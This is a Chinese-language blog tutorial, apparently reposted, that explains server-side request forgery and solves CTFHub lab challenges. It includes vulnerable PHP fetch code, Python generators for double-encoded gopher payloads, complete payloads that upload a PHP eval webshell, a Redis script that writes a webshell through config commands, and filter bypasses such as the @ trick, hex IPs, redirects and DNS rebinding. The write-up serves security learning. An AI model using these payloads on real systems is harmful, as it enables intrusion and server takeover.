文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

漏洞原理——ssrf

2023-09-09 07:33

关注

一、什么是SSRF

1、简单了解在这里插入图片描述

SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。

攻击者利用了可访问Web服务器(A)的特定功能 构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。

2、漏洞成因

服务端提供了从其他服务器应用获取数据的功能

没有对目标地址做过滤与限制

比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等

漏洞产生与危害

在PHP中的curl(),file_get_contents(),fsockopen()等函数是几个主要产生ssrf漏洞的函数

file_get_contents()

//file_get_contents是把文件写入字符串,当把url是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了文件读取";}echo $img;?>

fsockopen()

//fsockopen()函数本身就是打开一个网络连接或者Unix套接字连接\n";} else {    $out = "GET / HTTP/1.1\r\n";    $out .= "Host: $host\r\n";    $out .= "Connection: Close\r\n\r\n";    fwrite($fp, $out);    while (!feof($fp)) {        echo fgets($fp, 128);    }    fclose($fp);}?>

curl()

//利用方式很多最常见的是通过file、dict、gopher这三个协议来进行渗透,接下来也主要是集中讲对于curl()函数的利用方式function curl($url){      $ch = curl_init(); //  初始化curl连接句柄    curl_setopt($ch, CURLOPT_URL, $url); //设置连接URL    curl_setopt($ch, CURLOPT_HEADER, 0);  // 不输出头文件的信息    curl_exec($ch);   // 执行获取结果    curl_close($ch);  // 关闭curl连接句柄}$url = $_GET['url'];curl($url); 

SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。

3、漏洞攻击方式

  1. 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
  5. 下载内网资源,利用file协议读取本地文件或资源等
  6. 内部任意主机的任意端口发送精心构造的Payload
  7. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
  8. 进行跳板
  9. 利用Redis未授权访问,HTTP CRLF注入实现getshell

二、可以利用的协议

常用URL伪协议

file:///  -- 本地文件传输协议,主要用于访问本地计算机中的文件dict://   -- 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628sftp://   -- SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)ldap://   -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议tftp://   -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前

三、CTFHUB例题

1、内网访问

在这里插入图片描述

要访问内网中的文件,外网无法访问,对应漏洞利用中的5,读取内网中的文件和资源;

在这里插入图片描述

拿到flag;

2、伪协议读取文件

在这里插入图片描述

Linux的网站目录一般位于/var/www/html/下,尝试利用file协议读取web目录下的源码:

在这里插入图片描述

成功读取到源码,拿到flag;

3、端口扫描

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-smgUjUxP-1649055753719)(C:\Users\32219\Desktop\web安全笔记\ssrf.assets\image-20220404101855938.png)]

摆明了告诉我们要进行内网的端口扫描,看看内网中开放了哪些端口,(耗时较长,一会再回来更);

4、POST请求

在这里插入图片描述

接下来的四个题都是利用gopher协议来做的,gopher协议可以参考上面的可以利用的协议;

利用file伪协议读取到index.php

flag.php

我们尝试构造payload让本机去访问:

在这里插入图片描述

拿到key和一个输入的文本框,但是并没有提交的按钮,可能是想让我们自己利用Gopher协议去发送请求;请求头的构造请自行参考HTTP协议,编码:

import urllib.parsepayload =\"""POST /flag.php HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 36key=4f78dd1466e179d295405ff86bec1d61"""#注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'gopher://127.0.0.1:80/'+'_'+newresult = urllib.parse.quote(result)print(result)       # 这里因为是GET请求所以要进行两次url编码

为什么要这样进行编码呢?我理解的是首先用GET将我们构造的请求包发送过去,要进行一次解码,然后是发送POST请求包,又要进行一次解码,所以要进行两次解码;

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D4f78dd1466e179d295405ff86bec1d61%250D%250A

在这里插入图片描述

顺利拿到flag,之前做可能是因为没有编码成功,渗透中python可真是个好东西!

在这里插入图片描述

ctfhub{b644d27a30b450b2f170c4f19ef1dd85fb1efc5d}

5、上传文件

也是首先读取index.php和flag.php

flag.php

 0){    echo getenv("CTFHUB");    exit;}?>Upload Webshell
?>

只要我们上传文件>0就可以拿到flag;

index.php

通过本机访问,但是他喵的竟然没有提交键,这让我怎么提交,哎,又是Gopher协议,但是请求头哪去了?,我们构造一个提交键,提交并且抓包,此时的并不会提交到flag.php,只是我们自己用来获取请求头用的;

在这里插入图片描述

在这里插入图片描述

成功获取到请求头,我们把HOST改为127.0.0.1然后再放到我们的python代码中跑。

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520328%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/86.0.4240.198%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255Bwhoami%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu--%250D%250A

在这里插入图片描述

拿下!!!!!!!

6、FastCGI协议

暂时还没搞太懂,以后再更把

7、redis协议

redis参考资料的链接:

https://www.freebuf.com/articles/web/323640.html

Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。

在这里插入图片描述

给出我们redis运行的端口,利用未授权访问攻击Redis的方法有很多,我们可以写webshell、反弹shell,也可以写ssh公钥,这里我们用写webshell的方法。(参考大佬文章

构造redis命令

flushallset 1 ''config set dir /var/www/htmlconfig set dbfilename shell.phpsave

我们利用如下Exp脚本生成符合gopher协议格式的payload:

import urllibprotocol="gopher://"ip="127.0.0.1"port="6379"shell="\n\n\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print urllib.quote(payload)    # 由于我们这里是GET,所以要进行两次url编码

生成如下文件:

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

请求时靶场除了点小bug,

8、urlbypass

绕过方法,简单的几种,合在一块写了:

1、url

在这里插入图片描述

也就是说必须以http://notfound.ctfhub.com开头才可以:我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

成功得到flag。

2、数字ip

在这里插入图片描述

127,172,@都被过滤掉了,可以转化进制绕过

127.0.0.1转换为16进制是0x7F000001

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JICWj6YL-1649055753722)(C:\Users\32219\Desktop\web安全笔记\ssrf.assets\image-20220404142353027.png)]

3、302跳转bypass

读取源代码进行审计:

flag.php

index.php

禁掉了很多的网段,但是没有过滤掉localhost,进行绕过;

在这里插入图片描述

拿到flag;

4、DNS重绑定:涉及到DNS一些的知识:

可以参考文章:https://www.freebuf.com/articles/network/218576.html

下面这个网站可以将一个域名解析到两个IP上,并在这两个之间不同的跳动

在这里插入图片描述

一直刷新,当跳到127.0.0.1时就可以拿到flag;
在这里插入图片描述

来源地址:https://blog.csdn.net/nobugnomoney/article/details/123953973

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯